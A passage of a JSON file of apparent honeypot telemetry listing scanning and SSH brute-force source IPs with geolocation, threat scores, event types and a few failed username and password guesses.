    "38.188.160.189": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:25:27.873Z",
      "last_seen": "2026-03-10T23:37:01.960Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "020887",
        "seaman1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:25:27.873000+00:00",
        "last_seen_30d": "2026-03-10T23:38:04.712000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "37.140.99.73": {
      "attack_count": 8,
      "first_seen": "2026-03-30T01:55:16.853Z",
      "last_seen": "2026-03-31T03:10:12.491Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kamensk-Uralsky",
      "asn": 8369,
      "as_org": "Intersvyaz-2 JSC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T01:55:16.853000+00:00",
        "last_seen_30d": "2026-03-31T03:11:15.170000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "116.176.58.41": {
      "attack_count": 7,
      "first_seen": "2026-03-27T07:12:26.043Z",
      "last_seen": "2026-03-27T07:14:26.770Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:12:26.043000+00:00",
        "last_seen_30d": "2026-03-27T07:24:35.522000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "172.202.118.67": {
      "attack_count": 7,
      "first_seen": "2026-03-26T18:22:03.010Z",
      "last_seen": "2026-03-26T18:22:13.012Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 15.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 18,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T18:18:27.884000+00:00",
        "last_seen_30d": "2026-03-29T18:27:42.244000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "20.84.167.44": {
      "attack_count": 7,
      "first_seen": "2026-03-15T19:35:51.274Z",
      "last_seen": "2026-03-15T19:36:01.277Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 63.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 17.5,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 21,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-09T13:22:34.366000+00:00",
        "last_seen_30d": "2026-03-29T21:00:28.321000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 8,
        "Cowrie": 7,
        "Dionaea": 2
      }
    },
    "147.185.132.64": {
      "attack_count": 6,
      "first_seen": "2026-03-27T00:50:10.775Z",
      "last_seen": "2026-03-29T16:10:55.848Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T13:41:17+00:00",
        "last_seen_30d": "2026-03-29T16:12:04.205000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 25,
        "Cowrie": 6,
        "Adbhoney": 4
      }
    },
    "167.94.138.179": {
      "attack_count": 6,
      "first_seen": "2026-03-19T19:34:08.595Z",
      "last_seen": "2026-03-19T19:34:46.599Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.6,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 21,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T17:26:58+00:00",
        "last_seen_30d": "2026-03-22T03:50:55.676000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 43,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "94.26.106.200": {
      "attack_count": 6,
      "first_seen": "2026-03-11T18:37:08.412Z",
      "last_seen": "2026-03-17T22:01:06.745Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1150,
        "days_active_30d": 28,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T17:02:22+00:00",
        "last_seen_30d": "2026-03-31T17:01:42.753000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 899,
        "Honeytrap": 245,
        "Cowrie": 6
      }
    },
    "106.13.39.89": {
      "attack_count": 5,
      "first_seen": "2026-03-05T21:52:02.324Z",
      "last_seen": "2026-03-05T21:52:05.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sftp-user"
      ],
      "passwords_attempted": [
        "Sftp-User123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T21:52:02.324000+00:00",
        "last_seen_30d": "2026-03-05T21:53:10.178000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "222.222.168.9": {
      "attack_count": 5,
      "first_seen": "2026-03-19T18:24:08.837Z",
      "last_seen": "2026-03-19T18:24:12.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "rsync"
      ],
      "passwords_attempted": [
        "rsync1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T18:24:08.837000+00:00",
        "last_seen_30d": "2026-03-19T18:25:14.980000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.84.107.198": {
      "attack_count": 5,
      "first_seen": "2026-03-15T10:39:44.419Z",
      "last_seen": "2026-03-15T10:39:49.538Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 21.7,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 26,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:28:05+00:00",
        "last_seen_30d": "2026-03-27T12:44:22.810000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 6,
        "Cowrie": 5,
        "H0neytr4p": 5,
        "Tanner": 1
      }
    },
    "87.106.176.11": {
      "attack_count": 5,
      "first_seen": "2026-03-30T19:12:01.794Z",
      "last_seen": "2026-03-30T19:13:02.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T19:12:01.794000+00:00",
        "last_seen_30d": "2026-03-30T19:14:54.362000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "120.151.110.46": {
      "attack_count": 4,
      "first_seen": "2026-03-26T18:41:40.537Z",
      "last_seen": "2026-03-30T05:37:19.957Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:41:40.537000+00:00",
        "last_seen_30d": "2026-03-30T05:38:20.931000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "162.142.125.127": {
      "attack_count": 4,
      "first_seen": "2026-03-19T02:31:38.793Z",
      "last_seen": "2026-03-19T02:31:53.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 20,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:28:59.130000+00:00",
        "last_seen_30d": "2026-03-21T15:16:50.968000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 43,
        "Dionaea": 8,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "18.208.181.202": {
      "attack_count": 4,
      "first_seen": "2026-03-15T00:59:34.881Z",
      "last_seen": "2026-03-15T00:59:39.175Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-15T00:59:34.881000+00:00",
        "last_seen_30d": "2026-03-20T00:59:20.811000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "220.133.202.134": {
      "attack_count": 4,
      "first_seen": "2026-03-14T01:35:00.641Z",
      "last_seen": "2026-03-18T16:12:31.024Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:35:00.641000+00:00",
        "last_seen_30d": "2026-03-18T16:13:40.476000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "59.98.68.173": {
      "attack_count": 4,
      "first_seen": "2026-03-12T20:49:10.273Z",
      "last_seen": "2026-03-28T00:10:11.066Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:49:10.273000+00:00",
        "last_seen_30d": "2026-03-28T00:11:16.604000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "65.49.1.146": {
      "attack_count": 4,
      "first_seen": "2026-03-08T03:09:12.816Z",
      "last_seen": "2026-03-08T03:09:16.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 27,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T10:55:11.586000+00:00",
        "last_seen_30d": "2026-03-31T14:33:01.693000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "66.132.153.125": {
      "attack_count": 4,
      "first_seen": "2026-03-05T21:35:02.037Z",
      "last_seen": "2026-03-05T21:35:17.280Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 20,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T22:01:19.460000+00:00",
        "last_seen_30d": "2026-03-21T20:47:17.579000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 20,
        "ElasticPot": 10,
        "Cowrie": 4,
        "Adbhoney": 2,
        "Dionaea": 1
      }
    },
    "1.222.50.93": {
      "attack_count": 2,
      "first_seen": "2026-03-28T18:34:43.158Z",
      "last_seen": "2026-03-28T18:35:13.756Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Sejong",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T18:34:43.158000+00:00",
        "last_seen_30d": "2026-03-28T18:36:19.506000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "101.71.39.19": {
      "attack_count": 2,
      "first_seen": "2026-03-05T16:16:40.394Z",
      "last_seen": "2026-03-05T16:16:53.457Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T16:16:40.394000+00:00",
        "last_seen_30d": "2026-03-05T16:18:02.583000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.164.128.58": {
      "attack_count": 2,
      "first_seen": "2026-03-18T03:38:37.241Z",
      "last_seen": "2026-03-18T03:38:51.613Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 55736,
      "as_org": "Dataknox Pty Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:38:37.241000+00:00",
        "last_seen_30d": "2026-03-18T03:39:52.136000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.53.5.215": {
      "attack_count": 2,
      "first_seen": "2026-03-25T11:20:12.578Z",
      "last_seen": "2026-03-25T11:20:25.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattani",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T11:20:12.578000+00:00",
        "last_seen_30d": "2026-03-25T11:21:26.821000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.143.189": {
      "attack_count": 2,
      "first_seen": "2026-03-16T10:09:33.703Z",
      "last_seen": "2026-03-16T10:09:47.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:09:33.703000+00:00",
        "last_seen_30d": "2026-03-16T10:10:50.867000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.244.226.176": {
      "attack_count": 2,
      "first_seen": "2026-03-11T08:51:00.828Z",
      "last_seen": "2026-03-11T08:51:07.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T08:51:00.828000+00:00",
        "last_seen_30d": "2026-03-11T08:52:16.597000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "134.199.148.5": {
      "attack_count": 2,
      "first_seen": "2026-03-16T11:45:04.786Z",
      "last_seen": "2026-03-16T11:45:04.909Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T11:45:04.786000+00:00",
        "last_seen_30d": "2026-03-16T11:46:07.984000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "134.209.146.136": {
      "attack_count": 2,
      "first_seen": "2026-03-02T04:07:00.247Z",
      "last_seen": "2026-03-02T04:07:00.528Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:07:00.247000+00:00",
        "last_seen_30d": "2026-03-02T04:08:08.288000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "147.185.132.118": {
      "attack_count": 2,
      "first_seen": "2026-03-16T08:27:09.315Z",
      "last_seen": "2026-03-16T08:27:19.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
